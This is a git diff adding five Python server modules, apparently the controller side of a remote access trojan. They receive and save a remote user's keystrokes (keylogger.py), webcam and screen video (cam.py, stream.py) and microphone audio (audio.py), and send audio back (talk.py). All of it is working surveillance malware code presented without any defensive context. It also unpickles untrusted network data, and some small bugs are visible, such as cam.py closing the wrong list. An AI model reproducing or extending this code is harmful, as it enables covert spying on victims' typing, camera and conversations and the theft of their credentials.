diff options
Diffstat (limited to 'Modules/Servers')
| -rw-r--r-- | Modules/Servers/audio.py | 118 | ||||
| -rw-r--r-- | Modules/Servers/cam.py | 119 | ||||
| -rw-r--r-- | Modules/Servers/keylogger.py | 131 | ||||
| -rw-r--r-- | Modules/Servers/stream.py | 119 | ||||
| -rw-r--r-- | Modules/Servers/talk.py | 113 |
5 files changed, 600 insertions, 0 deletions
diff --git a/Modules/Servers/audio.py b/Modules/Servers/audio.py new file mode 100644 index 0000000..ffa2da9 --- /dev/null +++ b/Modules/Servers/audio.py @@ -0,0 +1,118 @@ +import pyaudio +import socket +import pickle +import zlib +import time +import wave + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + audio_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[2]))) + s.listen() +except: + exit(0) + + +def audio_info(): + info = '\n' + + for index, setting in enumerate(audio_settings): + info += f' - {setting[0]}[{index}]' + if len(audio_settings) > 1 and index + 1 != len(audio_settings): + info += '\n' + + if len(audio_settings) == 0: + info = 'False' + + return info + + +def set_audio_settings(index): + global audio_settings + + try: + if index == '*': + for audio_setting in audio_settings: + audio_setting[1].close() + return 'Audios closed!' + else: + audio_settings[int(index)][1].close() + return 'Audio closed!' + except: + return 'Audio failed to close.' + + +def Audio(encoding, path, user): + try: + global audio_settings + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + audio_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + frames = [] + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + stream.write(frame) + frames.append(frame) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + audio_settings.remove(u) + waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') + waveFile.setnchannels(CHANNELS) + waveFile.setsampwidth(p.get_sample_size(FORMAT)) + waveFile.setframerate(RATE) + waveFile.writeframes(b''.join(frames)) + waveFile.close() + exit(0) + except: + exit(0)
\ No newline at end of file diff --git a/Modules/Servers/cam.py b/Modules/Servers/cam.py new file mode 100644 index 0000000..4e8aeb9 --- /dev/null +++ b/Modules/Servers/cam.py @@ -0,0 +1,119 @@ +import random +import socket +import pickle +import zlib +import time +import cv2 + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + cam_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[1]))) + s.listen() +except: + exit(0) + + +def cam_info(): + info = '\n' + + for index, setting in enumerate(cam_settings): + info += f' - {setting[0]}[{index}]' + if len(cam_settings) > 1 and index + 1 != len(cam_settings): + info += '\n' + + if len(cam_settings) == 0: + info = 'False' + + return info + + +def set_cam_settings(index): + global cam_settings + + try: + if index == '*': + for cam_setting in cam_settings: + cam_setting[1].close() + return 'Cams closed!' + else: + stream_settings[int(index)][1].close() + return 'Cam closed!' + except: + return 'Cam failed to close.' + + + +def Cam(encoding, path, user, quality): + try: + global cam_settings + + FRAMES = 5.0 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + r = random.randint(0, 1000000) + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + cam_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality) + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL) + cv2.imshow(f'{user}\'s live cam. {r}', frame) + out.write(frame) + + if cv2.waitKey(1) == 27: + client.close() + break + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cam_settings.remove(u) + out.release() + exit(0) + + cam_settings.remove(u) + out.release() + except: + exit(0)
\ No newline at end of file diff --git a/Modules/Servers/keylogger.py b/Modules/Servers/keylogger.py new file mode 100644 index 0000000..7d6f337 --- /dev/null +++ b/Modules/Servers/keylogger.py @@ -0,0 +1,131 @@ +import socket +import pickle +import zlib +import time + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + keylogger_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[3]))) + s.listen() +except: + exit(0) + + +def keylogger_info(): + info = '\n' + + for index, setting in enumerate(keylogger_settings): + info += f' - {setting[0]}[{index}]' + if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings): + info += '\n' + + if len(keylogger_settings) == 0: + info = 'False' + + return info + + +def set_keylogger_settings(index): + global keylogger_settings + + try: + if index == '*': + for keylogger_setting in keylogger_settings: + keylogger_setting[1].close() + return 'Keyloggers closed!' + else: + keylogger_settings[int(index)][1].close() + return 'Keylogger closed!' + except: + return 'Keylogger failed to close.' + + +def get_logs(index): + try: + with open(keylogger_settings[index][3], 'r') as f: + return (keylogger_settings[index][0], f.read()) + except: + return None + + +def Keylogger(encoding, path, user): + try: + global keylogger_settings + + fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt' + first = True + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr, fn) + keylogger_settings.append(u) + + + with open(fn, 'a') as f: + f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n') + f.flush() + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + while True: + client_msg = client.recv(1024) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + log = e.do_decrypt(full_msg[headersize:]) + log = zlib.decompress(log) + log = pickle.loads(log) + + result = '' + key = log.replace("'", '') + t = time.strftime("%Y-%m-%d (%H-%M-%S): ") + + if first: + if 'Key.space' not in log or 'Key.enter' not in log: + result = t + first = False + + if len(key) > 1: + result += f'[{key}]' + else: + result += key + + if 'Key.space' in log or 'Key.enter' in log: + result = f'\n{t}{result}' + + f.write(result) + f.flush() + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + keylogger_settings.remove(u) + exit(0)
\ No newline at end of file diff --git a/Modules/Servers/stream.py b/Modules/Servers/stream.py new file mode 100644 index 0000000..727e2b4 --- /dev/null +++ b/Modules/Servers/stream.py @@ -0,0 +1,119 @@ +import random +import socket +import pickle +import zlib +import time +import cv2 + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + stream_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[0]))) + s.listen() +except: + exit(0) + + +def stream_info(): + info = '\n' + + for index, setting in enumerate(stream_settings): + info += f' - {setting[0]}[{index}]' + if len(stream_settings) > 1 and index + 1 != len(stream_settings): + info += '\n' + + if len(stream_settings) == 0: + info = 'False' + + return info + + +def set_stream_settings(index): + global stream_settings + + try: + if index == '*': + for stream_setting in stream_settings: + stream_setting[1].close() + return 'Streams closed!' + else: + stream_settings[int(index)][1].close() + return 'Stream closed!' + except: + return 'Stream failed to close.' + + +def Stream(encoding, path, user): + try: + global stream_settings + + FRAMES = 5.0 + QUALITY = (1920, 1080) + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + msg = b'next' + + r = random.randint(0, 1000000) + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + stream_settings.append(u) + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + fourcc = cv2.VideoWriter_fourcc(*'XVID') + out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, QUALITY) + + while True: + try: + client_msg = client.recv(81920) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + frame = e.do_decrypt(full_msg[headersize:]) + frame = zlib.decompress(frame) + frame = pickle.loads(frame) + + cv2.namedWindow(f'{user}\'s live stream. {r}', cv2.WINDOW_NORMAL) + cv2.imshow(f'{user}\'s live stream. {r}', frame) + out.write(frame) + + if cv2.waitKey(1) == 27: + client.close() + break + + real_msg = pickle.dumps(msg) + real_msg = zlib.compress(real_msg, 1) + real_msg = e.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + stream_settings.remove(u) + out.release() + exit(0) + + stream_settings.remove(u) + out.release() + except: + exit(0)
\ No newline at end of file diff --git a/Modules/Servers/talk.py b/Modules/Servers/talk.py new file mode 100644 index 0000000..499fadd --- /dev/null +++ b/Modules/Servers/talk.py @@ -0,0 +1,113 @@ +import pyaudio +import socket +import pickle +import zlib +import time +import wave + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + talk_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[4]))) + s.listen() +except: + exit(0) + + +def talk_info(): + info = '\n' + + for index, setting in enumerate(talk_settings): + info += f' - {setting[0]}[{index}]' + if len(talk_settings) > 1 and index + 1 != len(talk_settings): + info += '\n' + + if len(talk_settings) == 0: + info = 'False' + + return info + + +def set_talk_settings(index): + global talk_settings + + try: + if index == '*': + for talk_setting in talk_settings: + talk_setting[1].close() + return 'Talks closed!' + else: + talk_settings[int(index)][1].close() + return 'Talk closed!' + except: + return 'Talk failed to close.' + + +def Talk(encoding, path, user): + try: + global talk_settings + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + frames = [] + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + talk_settings.append(u) + + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + + msg = pickle.dumps(stream.read(CHUNK)) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + while True: + try: + client_msg = client.recv(1024) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + data = stream.read(CHUNK) + frames.append(data) + + msg = pickle.dumps(data) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + talk_settings.remove(u) + waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') + waveFile.setnchannels(CHANNELS) + waveFile.setsampwidth(p.get_sample_size(FORMAT)) + waveFile.setframerate(RATE) + waveFile.writeframes(b''.join(frames)) + waveFile.close() + exit(0) + except: + exit(0)
\ No newline at end of file |